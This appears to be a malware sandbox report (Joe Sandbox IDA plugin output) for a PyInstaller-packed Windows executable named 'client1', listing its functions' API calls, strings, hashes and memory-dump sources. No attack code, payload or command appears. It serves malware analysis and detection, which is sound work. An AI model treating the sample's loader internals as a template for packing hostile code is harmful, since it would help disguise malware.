Associated: 00000002.00000002.2693083227.00007FF79F66C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2693132419.00007FF79F66E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff79f620000_client1.jbxd

Similarity

API ID: AllocHeap
String ID:
API String ID: 4292702814-0
Opcode ID: c69b2b415516246c39874758743c65376e97b2ba2b88f646b423658d781f7dfd
Instruction ID: aa05f9ea2760911250fe5ba90daae30ba66b8c2fb617f334bac014371a84969b
Opcode Fuzzy Hash: c69b2b415516246c39874758743c65376e97b2ba2b88f646b423658d781f7dfd
Instruction Fuzzy Hash: 18F05E01B0D3C245FE347AB159402F591EA5F457A0F880630E93E862C2EEACB4408231

Non-executed Functions

Function 00007FF79F621B90 Relevance: 43.9, APIs: 20, Strings: 5, Instructions: 188windowCOMMON

Download Yara Rule

APIs

GetDialogBaseUnits.USER32 ref: 00007FF79F621BDE
MulDiv.KERNEL32 ref: 00007FF79F621BF2
MulDiv.KERNEL32 ref: 00007FF79F621C13
SystemParametersInfoW.USER32 ref: 00007FF79F621C5B
CreateFontIndirectW.GDI32 ref: 00007FF79F621C6F
#380.COMCTL32 ref: 00007FF79F621C93
CreateWindowExW.USER32 ref: 00007FF79F621CE6
CreateWindowExW.USER32 ref: 00007FF79F621D40
CreateWindowExW.USER32 ref: 00007FF79F621D9D
CreateWindowExW.USER32 ref: 00007FF79F621DFF
SendMessageW.USER32 ref: 00007FF79F621E1F
SendMessageW.USER32 ref: 00007FF79F621E39
SendMessageW.USER32 ref: 00007FF79F621E58
SendMessageW.USER32 ref: 00007FF79F621E77
SendMessageW.USER32 ref: 00007FF79F621E95
SendMessageW.USER32 ref: 00007FF79F621EB3
SendMessageW.USER32 ref: 00007FF79F621ED1
SendMessageW.USER32 ref: 00007FF79F621EE9
SendMessageW.USER32 ref: 00007FF79F621F01
GetClientRect.USER32 ref: 00007FF79F621F10

Part of subcall function 00007FF79F622030: GetDC.USER32 ref: 00007FF79F62205B
Part of subcall function 00007FF79F622030: SelectObject.GDI32 ref: 00007FF79F6220A2
Part of subcall function 00007FF79F622030: DrawTextW.USER32 ref: 00007FF79F6220C5
Part of subcall function 00007FF79F622030: SelectObject.GDI32 ref: 00007FF79F6220DB
Part of subcall function 00007FF79F622030: ReleaseDC.USER32 ref: 00007FF79F6220EB
Part of subcall function 00007FF79F622030: MoveWindow.USER32 ref: 00007FF79F62213B
Part of subcall function 00007FF79F622030: MoveWindow.USER32 ref: 00007FF79F62217B
Part of subcall function 00007FF79F622030: MoveWindow.USER32 ref: 00007FF79F6221CE

Strings

Close, xrefs: 00007FF79F621DA8
EDIT, xrefs: 00007FF79F621D4B
Failed to execute script '%ls' due to unhandled exception: %ls, xrefs: 00007FF79F621BBD
BUTTON, xrefs: 00007FF79F621DB6
STATIC, xrefs: 00007FF79F621C9C, 00007FF79F621CF1

Memory Dump Source

Source File: 00000002.00000002.2693036603.00007FF79F621000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79F620000, based on PE: true

Associated: 00000002.00000002.2693018203.00007FF79F620000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2693061814.00007FF79F64A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2693083227.00007FF79F65D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2693083227.00007FF79F660000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2693083227.00007FF79F66C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2693132419.00007FF79F66E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff79f620000_client1.jbxd

Similarity

API ID: MessageSend$Window$Create$Move$ObjectSelect$#380BaseClientDialogDrawFontIndirectInfoParametersRectReleaseSystemTextUnits
String ID: BUTTON$Close$EDIT$Failed to execute script '%ls' due to unhandled exception: %ls$STATIC
API String ID: 2446303242-1601438679
Opcode ID: 47b3578659853d453a5822a751c8e2f63cfdf798862dd1eeebf7592aa26dc86d
Instruction ID: b9134069d09b4a981dbd7b4c413f77d9912caae64fa4358441e8a9d992f4923f
Opcode Fuzzy Hash: 47b3578659853d453a5822a751c8e2f63cfdf798862dd1eeebf7592aa26dc86d
Instruction Fuzzy Hash: 05A17C32208BC196E724AF21E98479EB375F748BA4F904129DB9D43B14DF3DE165CB50

Function 00007FFBAA7318A0 Relevance: 13.9, APIs: 9, Instructions: 425COMMON

Download Yara Rule

APIs

PyMem_Malloc.PYTHON311 ref: 00007FFBAA73190B
PyType_IsSubtype.PYTHON311 ref: 00007FFBAA7319F5
PyType_IsSubtype.PYTHON311 ref: 00007FFBAA731A52
PyUnicode_FromKindAndData.PYTHON311 ref: 00007FFBAA731B2D
PyMem_Free.PYTHON311 ref: 00007FFBAA731B3E
PyMem_Realloc.PYTHON311 ref: 00007FFBAA731CF8

Memory Dump Source

Source File: 00000002.00000002.2693290777.00007FFBAA731000.00000020.00000001.01000000.00000015.sdmp, Offset: 00007FFBAA730000, based on PE: true

Associated: 00000002.00000002.2693275344.00007FFBAA730000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000002.00000002.2693307504.00007FFBAA735000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000002.00000002.2693307504.00007FFBAA792000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000002.00000002.2693307504.00007FFBAA7DE000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000002.00000002.2693307504.00007FFBAA7E1000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000002.00000002.2693307504.00007FFBAA7E6000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000002.00000002.2693307504.00007FFBAA840000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000002.00000002.2693474597.00007FFBAA843000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 00000002.00000002.2693491810.00007FFBAA845000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffbaa730000_client1.jbxd

Similarity

API ID: Mem_$SubtypeType_$DataFreeFromKindMallocReallocUnicode_
String ID:
API String ID: 1742244024-0
Opcode ID: 2d17a493920b6b36c6fa0658f81e569c9b995c639d436fc25a26417b6e17d25f
Instruction ID: c04d64c3fef85792c4400a0fdf12867e3e17d2fe46a8b686db6be3bf82c6c907
Opcode Fuzzy Hash: 2d17a493920b6b36c6fa0658f81e569c9b995c639d436fc25a26417b6e17d25f
Instruction Fuzzy Hash: EB0202F2B0E592C2EB769F39D44467B37A9EB44744F1641B5EE8E46690EE2CE442C330

Function 00007FFBAA733058 Relevance: 13.6, APIs: 9, Instructions: 72COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32 ref: 00007FFBAA733074
memset.VCRUNTIME140 ref: 00007FFBAA733098
RtlCaptureContext.KERNEL32 ref: 00007FFBAA7330A1
RtlLookupFunctionEntry.KERNEL32 ref: 00007FFBAA7330BB
RtlVirtualUnwind.KERNEL32 ref: 00007FFBAA7330FC
memset.VCRUNTIME140 ref: 00007FFBAA73312F
IsDebuggerPresent.KERNEL32 ref: 00007FFBAA733150
SetUnhandledExceptionFilter.KERNEL32 ref: 00007FFBAA733171
UnhandledExceptionFilter.KERNEL32 ref: 00007FFBAA73317C

Memory Dump Source

Source File: 00000002.00000002.2693290777.00007FFBAA731000.00000020.00000001.01000000.00000015.sdmp, Offset: 00007FFBAA730000, based on PE: true

Associated: 00000002.00000002.2693275344.00007FFBAA730000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000002.00000002.2693307504.00007FFBAA735000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000002.00000002.2693307504.00007FFBAA792000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000002.00000002.2693307504.00007FFBAA7DE000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000002.00000002.2693307504.00007FFBAA7E1000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000002.00000002.2693307504.00007FFBAA7E6000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000002.00000002.2693307504.00007FFBAA840000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000002.00000002.2693474597.00007FFBAA843000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 00000002.00000002.2693491810.00007FFBAA845000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffbaa730000_client1.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandledmemset$CaptureContextDebuggerEntryFeatureFunctionLookupProcessorUnwindVirtual
String ID:
API String ID: 313767242-0
Opcode ID: d5821aaf4936ad9aa18e348792a4e6496cc638c229f42c96d8f2983ca85ed40f
Instruction ID: 63a731e721399a7c8df38d15341aaedb02992d6044c6cb3a0ae5b139c9d1dce0
Opcode Fuzzy Hash: d5821aaf4936ad9aa18e348792a4e6496cc638c229f42c96d8f2983ca85ed40f
Instruction Fuzzy Hash: 41317CB270AA81C9EB61AF70E8903EE7369FB84344F45403ADA4E47A84DF39C149C720

Function 00007FF79F626780 Relevance: 12.4, APIs: 3, Strings: 4, Instructions: 139COMMON

Download Yara Rule

APIs

GetTempPathW.KERNEL32(?,00000000,?,00007FF79F62674D), ref: 00007FF79F62681A

Part of subcall function 00007FF79F626990: GetEnvironmentVariableW.KERNEL32(00007FF79F6236E7), ref: 00007FF79F6269CA
Part of subcall function 00007FF79F626990: ExpandEnvironmentStringsW.KERNEL32 ref: 00007FF79F6269E7

Part of subcall function 00007FF79F6366B4: _invalid_parameter_noinfo.LIBCMT ref: 00007FF79F6366CD

SetEnvironmentVariableW.KERNEL32(?,TokenIntegrityLevel), ref: 00007FF79F6268D1

Part of subcall function 00007FF79F622770: MessageBoxW.USER32 ref: 00007FF79F622841

Strings

LOADER: Failed to set the TMP environment variable., xrefs: 00007FF79F6267F8
TMP, xrefs: 00007FF79F6267B8, 00007FF79F626879, 00007FF79F626907
TMP, xrefs: 00007FF79F6267DE
_MEI%d, xrefs: 00007FF79F626828

Memory Dump Source

Source File: 00000002.00000002.2693036603.00007FF79F621000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79F620000, based on PE: true

Associated: 00000002.00000002.2693018203.00007FF79F620000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2693061814.00007FF79F64A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2693083227.00007FF79F65D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2693083227.00007FF79F660000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2693083227.00007FF79F66C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2693132419.00007FF79F66E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff79f620000_client1.jbxd

Similarity

API ID: Environment$Variable$ExpandMessagePathStringsTemp_invalid_parameter_noinfo
String ID: LOADER: Failed to set the TMP environment variable.$TMP$TMP$_MEI%d
API String ID: 3752271684-1116378104
Opcode ID: b4ad522e37175ac7074a900ecec4c645a4870e05ba81b0992846085732047fb7
Instruction ID: b73e192bfc0180aee66994aca1c09f11a953c254c91d60ba9fbfde6821ca2ccd
Opcode Fuzzy Hash: b4ad522e37175ac7074a900ecec4c645a4870e05ba81b0992846085732047fb7
Instruction Fuzzy Hash: A1517811F197C340FA74BB7299552FAD25B9F4ABC4FC44031E82E87796EE6EE4018721

Function 00007FF79F62B69C Relevance: 10.6, APIs: 7, Instructions: 72COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32 ref: 00007FF79F62B6B8
RtlCaptureContext.KERNEL32 ref: 00007FF79F62B6E5
RtlLookupFunctionEntry.KERNEL32 ref: 00007FF79F62B6FF
RtlVirtualUnwind.KERNEL32 ref: 00007FF79F62B740
IsDebuggerPresent.KERNEL32 ref: 00007FF79F62B794
SetUnhandledExceptionFilter.KERNEL32 ref: 00007FF79F62B7B5
UnhandledExceptionFilter.KERNEL32 ref: 00007FF79F62B7C0

Memory Dump Source

Source File: 00000002.00000002.2693036603.00007FF79F621000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79F620000, based on PE: true

Associated: 00000002.00000002.2693018203.00007FF79F620000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2693061814.00007FF79F64A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2693083227.00007FF79F65D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2693083227.00007FF79F660000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2693083227.00007FF79F66C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2693132419.00007FF79F66E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff79f620000_client1.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled$CaptureContextDebuggerEntryFeatureFunctionLookupProcessorUnwindVirtual
String ID:
API String ID: 3140674995-0
Opcode ID: 24fff5600ca101af0e2334446d678d156eb325a0e0e0c0538aba544f51e330ab
Instruction ID: d3ee896b1ff875c06ffffb4a6673900127d9fc7f2f0ab2d6f5dccacd6d17444e
Opcode Fuzzy Hash: 24fff5600ca101af0e2334446d678d156eb325a0e0e0c0538aba544f51e330ab
Instruction Fuzzy Hash: EF312D72609BC196EB70AF70E8803E9B369FB84754F844439DA5D47B95DF38D548C720

Function 00007FF79F644E20 Relevance: 9.3, APIs: 6, Instructions: 334timeCOMMON

Download Yara Rule

APIs

_get_daylight.LIBCMT ref: 00007FF79F644E65

Part of subcall function 00007FF79F6447B8: _invalid_parameter_noinfo.LIBCMT ref: 00007FF79F6447CC

Part of subcall function 00007FF79F639E18: HeapFree.KERNEL32(?,?,?,00007FF79F641E42,?,?,?,00007FF79F641E7F,?,?,00000000,00007FF79F642345,?,?,?,00007FF79F642277), ref: 00007FF79F639E2E
Part of subcall function 00007FF79F639E18: GetLastError.KERNEL32(?,?,?,00007FF79F641E42,?,?,?,00007FF79F641E7F,?,?,00000000,00007FF79F642345,?,?,?,00007FF79F642277), ref: 00007FF79F639E38

Part of subcall function 00007FF79F639DD0: IsProcessorFeaturePresent.KERNEL32(?,?,?,?,00007FF79F639DAF,?,?,?,?,?,00007FF79F6321EC), ref: 00007FF79F639DD9
Part of subcall function 00007FF79F639DD0: GetCurrentProcess.KERNEL32(?,?,?,?,00007FF79F639DAF,?,?,?,?,?,00007FF79F6321EC), ref: 00007FF79F639DFE

_get_daylight.LIBCMT ref: 00007FF79F644E54

Part of subcall function 00007FF79F644818: _invalid_parameter_noinfo.LIBCMT ref: 00007FF79F64482C

_get_daylight.LIBCMT ref: 00007FF79F6450CA
_get_daylight.LIBCMT ref: 00007FF79F6450DB
_get_daylight.LIBCMT ref: 00007FF79F6450EC
GetTimeZoneInformation.KERNEL32(?,?,?,?,?,?,?,?,?,00000000,?,00007FF79F64532C), ref: 00007FF79F645113

Memory Dump Source

Source File: 00000002.00000002.2693036603.00007FF79F621000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79F620000, based on PE: true

Associated: 00000002.00000002.2693018203.00007FF79F620000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2693061814.00007FF79F64A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2693083227.00007FF79F65D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2693083227.00007FF79F660000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2693083227.00007FF79F66C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2693132419.00007FF79F66E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff79f620000_client1.jbxd

Similarity

API ID: _get_daylight$_invalid_parameter_noinfo$CurrentErrorFeatureFreeHeapInformationLastPresentProcessProcessorTimeZone
String ID:
API String ID: 4070488512-0
Opcode ID: a9f1dad40c5644c1829df854b35cf2cff202b4769108a1d535aac39d904cb9be
Instruction ID: fcc2753484b5f486a54e18bddd1f7662d5bede607d47f748dcb017644e45245b
Opcode Fuzzy Hash: a9f1dad40c5644c1829df854b35cf2cff202b4769108a1d535aac39d904cb9be
Instruction Fuzzy Hash: FAD1AE26A0878286E730BF35D9411F9A2AAFF85B94FD04136EE2D476C5DF3CE8418760

Function 00007FF79F639AE4 Relevance: 9.1, APIs: 6, Instructions: 83COMMONLIBRARYCODE

Download Yara Rule

APIs

RtlCaptureContext.KERNEL32 ref: 00007FF79F639B5D
RtlLookupFunctionEntry.KERNEL32 ref: 00007FF79F639B75
RtlVirtualUnwind.KERNEL32 ref: 00007FF79F639BB0
IsDebuggerPresent.KERNEL32 ref: 00007FF79F639BE9
SetUnhandledExceptionFilter.KERNEL32 ref: 00007FF79F639BF3
UnhandledExceptionFilter.KERNEL32 ref: 00007FF79F639BFE

Memory Dump Source

Source File: 00000002.00000002.2693036603.00007FF79F621000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79F620000, based on PE: true

Associated: 00000002.00000002.2693018203.00007FF79F620000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2693061814.00007FF79F64A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2693083227.00007FF79F65D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2693083227.00007FF79F660000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2693083227.00007FF79F66C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2693132419.00007FF79F66E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff79f620000_client1.jbxd

Similarity

API ID: ExceptionFilterUnhandled$CaptureContextDebuggerEntryFunctionLookupPresentUnwindVirtual
String ID:
API String ID: 1239891234-0
Opcode ID: 4204087c2144b4154cc610f07160e172692864cccd6c23e577d201b1c5d7dbdf
Instruction ID: d38e4c0a79f0dbfa6df830ab3b98509657511f2034abe3d7e4a29a7db12c421b
Opcode Fuzzy Hash: 4204087c2144b4154cc610f07160e172692864cccd6c23e577d201b1c5d7dbdf
Instruction Fuzzy Hash: 8E315E32618B8196EB70AF35E8802EEB3A9FB85764F940135EA9D43B95DF3CD145CB10

Function 00007FF79F6409B4 Relevance: 7.8, APIs: 5, Instructions: 282COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF79F640A00
FindFirstFileExW.KERNEL32 ref: 00007FF79F640B0A

Memory Dump Source

Source File: 00000002.00000002.2693036603.00007FF79F621000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79F620000, based on PE: true

Associated: 00000002.00000002.2693018203.00007FF79F620000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2693061814.00007FF79F64A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2693083227.00007FF79F65D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2693083227.00007FF79F660000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2693083227.00007FF79F66C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2693132419.00007FF79F66E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff79f620000_client1.jbxd

Similarity

API ID: FileFindFirst_invalid_parameter_noinfo
String ID:
API String ID: 2227656907-0
Opcode ID: 0bdd7a8416f1e28eb8c09c6b5c037a8b7871395a979be626bc7410ef92a9cb5d
Instruction ID: 572fa503d9efa88cd8877b8e3ca50bbdc41208b686956940698c84aeaa251ad0
Opcode Fuzzy Hash: 0bdd7a8416f1e28eb8c09c6b5c037a8b7871395a979be626bc7410ef92a9cb5d
Instruction Fuzzy Hash: B2B18222B187E691EA70FB31D4006F9A36AEF45BE4F945131EA6E07B85DE7CE441C720

Function 00007FF79F64509C Relevance: 6.1, APIs: 4, Instructions: 143timeCOMMON

Download Yara Rule

APIs

_get_daylight.LIBCMT ref: 00007FF79F6450CA

Part of subcall function 00007FF79F644818: _invalid_parameter_noinfo.LIBCMT ref: 00007FF79F64482C

_get_daylight.LIBCMT ref: 00007FF79F6450DB

Part of subcall function 00007FF79F6447B8: _invalid_parameter_noinfo.LIBCMT ref: 00007FF79F6447CC

_get_daylight.LIBCMT ref: 00007FF79F6450EC

Part of subcall function 00007FF79F6447E8: _invalid_parameter_noinfo.LIBCMT ref: 00007FF79F6447FC

Part of subcall function 00007FF79F639E18: HeapFree.KERNEL32(?,?,?,00007FF79F641E42,?,?,?,00007FF79F641E7F,?,?,00000000,00007FF79F642345,?,?,?,00007FF79F642277), ref: 00007FF79F639E2E
Part of subcall function 00007FF79F639E18: GetLastError.KERNEL32(?,?,?,00007FF79F641E42,?,?,?,00007FF79F641E7F,?,?,00000000,00007FF79F642345,?,?,?,00007FF79F642277), ref: 00007FF79F639E38

GetTimeZoneInformation.KERNEL32(?,?,?,?,?,?,?,?,?,00000000,?,00007FF79F64532C), ref: 00007FF79F645113

Memory Dump Source

Source File: 00000002.00000002.2693036603.00007FF79F621000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79F620000, based on PE: true

Associated: 00000002.00000002.2693018203.00007FF79F620000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2693061814.00007FF79F64A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2693083227.00007FF79F65D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2693083227.00007FF79F660000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2693083227.00007FF79F66C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2693132419.00007FF79F66E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff79f620000_client1.jbxd

Similarity

API ID: _get_daylight_invalid_parameter_noinfo$ErrorFreeHeapInformationLastTimeZone
String ID:
API String ID: 3458911817-0
Opcode ID: 8dda7e1bb43cce3069c61b2343a9d469707a009ccb87a98b23344d3931a91aef
Instruction ID: a796102b552945bb7b714767cf37b22a4ce92422f55e44ceb41ad888243889cb
Opcode Fuzzy Hash: 8dda7e1bb43cce3069c61b2343a9d469707a009ccb87a98b23344d3931a91aef
Instruction Fuzzy Hash: A5515E32A187C286E730FF35E9815E9E76ABB49784FC44136EA6D43695DF3CE4018B60

Function 00007FF79F623DF0 Relevance: 291.0, APIs: 55, Strings: 111, Instructions: 457libraryloaderCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32(?,?,00000000,00007FF79F6230BE), ref: 00007FF79F623E06
GetProcAddress.KERNEL32(?,?,00000000,00007FF79F6230BE), ref: 00007FF79F623E45
GetProcAddress.KERNEL32(?,?,00000000,00007FF79F6230BE), ref: 00007FF79F623E6A
GetProcAddress.KERNEL32(?,?,00000000,00007FF79F6230BE), ref: 00007FF79F623E8F
GetProcAddress.KERNEL32(?,?,00000000,00007FF79F6230BE), ref: 00007FF79F623EB7
GetProcAddress.KERNEL32(?,?,00000000,00007FF79F6230BE), ref: 00007FF79F623EDF
GetProcAddress.KERNEL32(?,?,00000000,00007FF79F6230BE), ref: 00007FF79F623F07
GetProcAddress.KERNEL32(?,?,00000000,00007FF79F6230BE), ref: 00007FF79F623F2F
GetProcAddress.KERNEL32(?,?,00000000,00007FF79F6230BE), ref: 00007FF79F623F57

Strings

Failed to get address for PyUnicode_FromFormat, xrefs: 00007FF79F6245D9
Py_SetPath, xrefs: 00007FF79F62406D
Py_SetProgramName, xrefs: 00007FF79F6240BD
Failed to get address for Py_NoSiteFlag, xrefs: 00007FF79F623EC9
Failed to get address for PyUnicode_Decode, xrefs: 00007FF79F624601
PyImport_ExecCodeModule, xrefs: 00007FF79F62424D
Failed to get address for Py_SetProgramName, xrefs: 00007FF79F6240D9
Failed to get address for Py_DecRef, xrefs: 00007FF79F623FE9
Failed to get address for Py_DontWriteBytecodeFlag, xrefs: 00007FF79F623E18
Failed to get address for PyErr_Restore, xrefs: 00007FF79F6241F1
Py_UTF8Mode, xrefs: 00007FF79F623F7D
PyUnicode_Decode, xrefs: 00007FF79F6245E5
Failed to get address for PyObject_GetAttrString, xrefs: 00007FF79F6243D1
PyList_Append, xrefs: 00007FF79F62429D
Failed to get address for PyUnicode_DecodeFSDefault, xrefs: 00007FF79F624629
Failed to get address for PyObject_CallFunction, xrefs: 00007FF79F624359
Failed to get address for PyErr_Clear, xrefs: 00007FF79F624151
Failed to get address for Py_DecodeLocale, xrefs: 00007FF79F624589
PyMarshal_ReadObjectFromString, xrefs: 00007FF79F62451D
Failed to get address for PySys_SetPath, xrefs: 00007FF79F6244E9
PySys_SetArgvEx, xrefs: 00007FF79F624455
PyList_New, xrefs: 00007FF79F6242C5
Failed to get address for PySys_GetObject, xrefs: 00007FF79F624499
Failed to get address for Py_SetPythonHome, xrefs: 00007FF79F624101
Failed to get address for PyLong_AsLong, xrefs: 00007FF79F624309
Py_DontWriteBytecodeFlag, xrefs: 00007FF79F623DFF
Py_FileSystemDefaultEncoding, xrefs: 00007FF79F623E3B
Failed to get address for PyObject_CallFunctionObjArgs, xrefs: 00007FF79F624381
Py_OptimizeFlag, xrefs: 00007FF79F623EFD
GetProcAddress, xrefs: 00007FF79F623E1F
Failed to get address for PyErr_Fetch, xrefs: 00007FF79F6241C9
PyModule_GetDict, xrefs: 00007FF79F624315
Failed to get address for PyEval_EvalCode, xrefs: 00007FF79F624511
Failed to get address for Py_GetPath, xrefs: 00007FF79F6240B1
Failed to get address for PyModule_GetDict, xrefs: 00007FF79F624331
Failed to get address for PyUnicode_AsUTF8, xrefs: 00007FF79F624651
Py_IgnoreEnvironmentFlag, xrefs: 00007FF79F623E85
PyMem_RawFree, xrefs: 00007FF79F624595
Failed to get address for Py_UTF8Mode, xrefs: 00007FF79F623F99
Failed to get address for PyMem_RawFree, xrefs: 00007FF79F6245B1
Failed to get address for Py_SetPath, xrefs: 00007FF79F624089
Failed to get address for PyList_New, xrefs: 00007FF79F6242E1
PyErr_Restore, xrefs: 00007FF79F6241D5
PyDict_GetItemString, xrefs: 00007FF79F62410D
PyObject_SetAttrString, xrefs: 00007FF79F62438D
Failed to get address for PyDict_GetItemString, xrefs: 00007FF79F624129
Failed to get address for PyUnicode_Join, xrefs: 00007FF79F624679
Failed to get address for Py_NoUserSiteDirectory, xrefs: 00007FF79F623EF1
PyUnicode_DecodeFSDefault, xrefs: 00007FF79F62460D
Failed to get address for Py_Initialize, xrefs: 00007FF79F624061
Py_NoSiteFlag, xrefs: 00007FF79F623EAD
Py_FrozenFlag, xrefs: 00007FF79F623E60
PySys_AddWarnOption, xrefs: 00007FF79F62442D
Failed to get address for PyImport_AddModule, xrefs: 00007FF79F624241
Failed to get address for PyErr_NormalizeException, xrefs: 00007FF79F624219
Py_IncRef, xrefs: 00007FF79F62401D
PyEval_EvalCode, xrefs: 00007FF79F6244F5
Failed to get address for Py_OptimizeFlag, xrefs: 00007FF79F623F19
Py_Finalize, xrefs: 00007FF79F623FF5
Py_UnbufferedStdioFlag, xrefs: 00007FF79F623F4D
Failed to get address for PyErr_Print, xrefs: 00007FF79F6241A1
Py_DecodeLocale, xrefs: 00007FF79F62456D
Failed to get address for PySys_SetArgvEx, xrefs: 00007FF79F624471
Failed to get address for PyImport_ExecCodeModule, xrefs: 00007FF79F624269
PyUnicode_FromFormat, xrefs: 00007FF79F6245BD
Failed to get address for PyList_Append, xrefs: 00007FF79F6242B9
Failed to get address for PyErr_Occurred, xrefs: 00007FF79F624179
PyObject_GetAttrString, xrefs: 00007FF79F6243B5
PyObject_CallFunction, xrefs: 00007FF79F62433D
Failed to get address for Py_FileSystemDefaultEncoding, xrefs: 00007FF79F623E57
Failed to get address for PyUnicode_FromString, xrefs: 00007FF79F624561
Failed to get address for Py_IgnoreEnvironmentFlag, xrefs: 00007FF79F623EA1
Py_BuildValue, xrefs: 00007FF79F623FA5
Failed to get address for Py_UnbufferedStdioFlag, xrefs: 00007FF79F623F69
Py_GetPath, xrefs: 00007FF79F624095
PyErr_Print, xrefs: 00007FF79F624185
Failed to get address for PyUnicode_Replace, xrefs: 00007FF79F6246A1
PyImport_ImportModule, xrefs: 00007FF79F624275
Py_NoUserSiteDirectory, xrefs: 00007FF79F623ED5
PyUnicode_Replace, xrefs: 00007FF79F624685
PyUnicode_FromString, xrefs: 00007FF79F624545
PySys_GetObject, xrefs: 00007FF79F62447D
Failed to get address for PyObject_Str, xrefs: 00007FF79F6243F9
PyObject_CallFunctionObjArgs, xrefs: 00007FF79F624365
Failed to get address for PyImport_ImportModule, xrefs: 00007FF79F624291
PySys_SetPath, xrefs: 00007FF79F6244CD
Failed to get address for Py_Finalize, xrefs: 00007FF79F624011
Failed to get address for Py_FrozenFlag, xrefs: 00007FF79F623E7C
Failed to get address for Py_BuildValue, xrefs: 00007FF79F623FC1
PySys_SetObject, xrefs: 00007FF79F6244A5
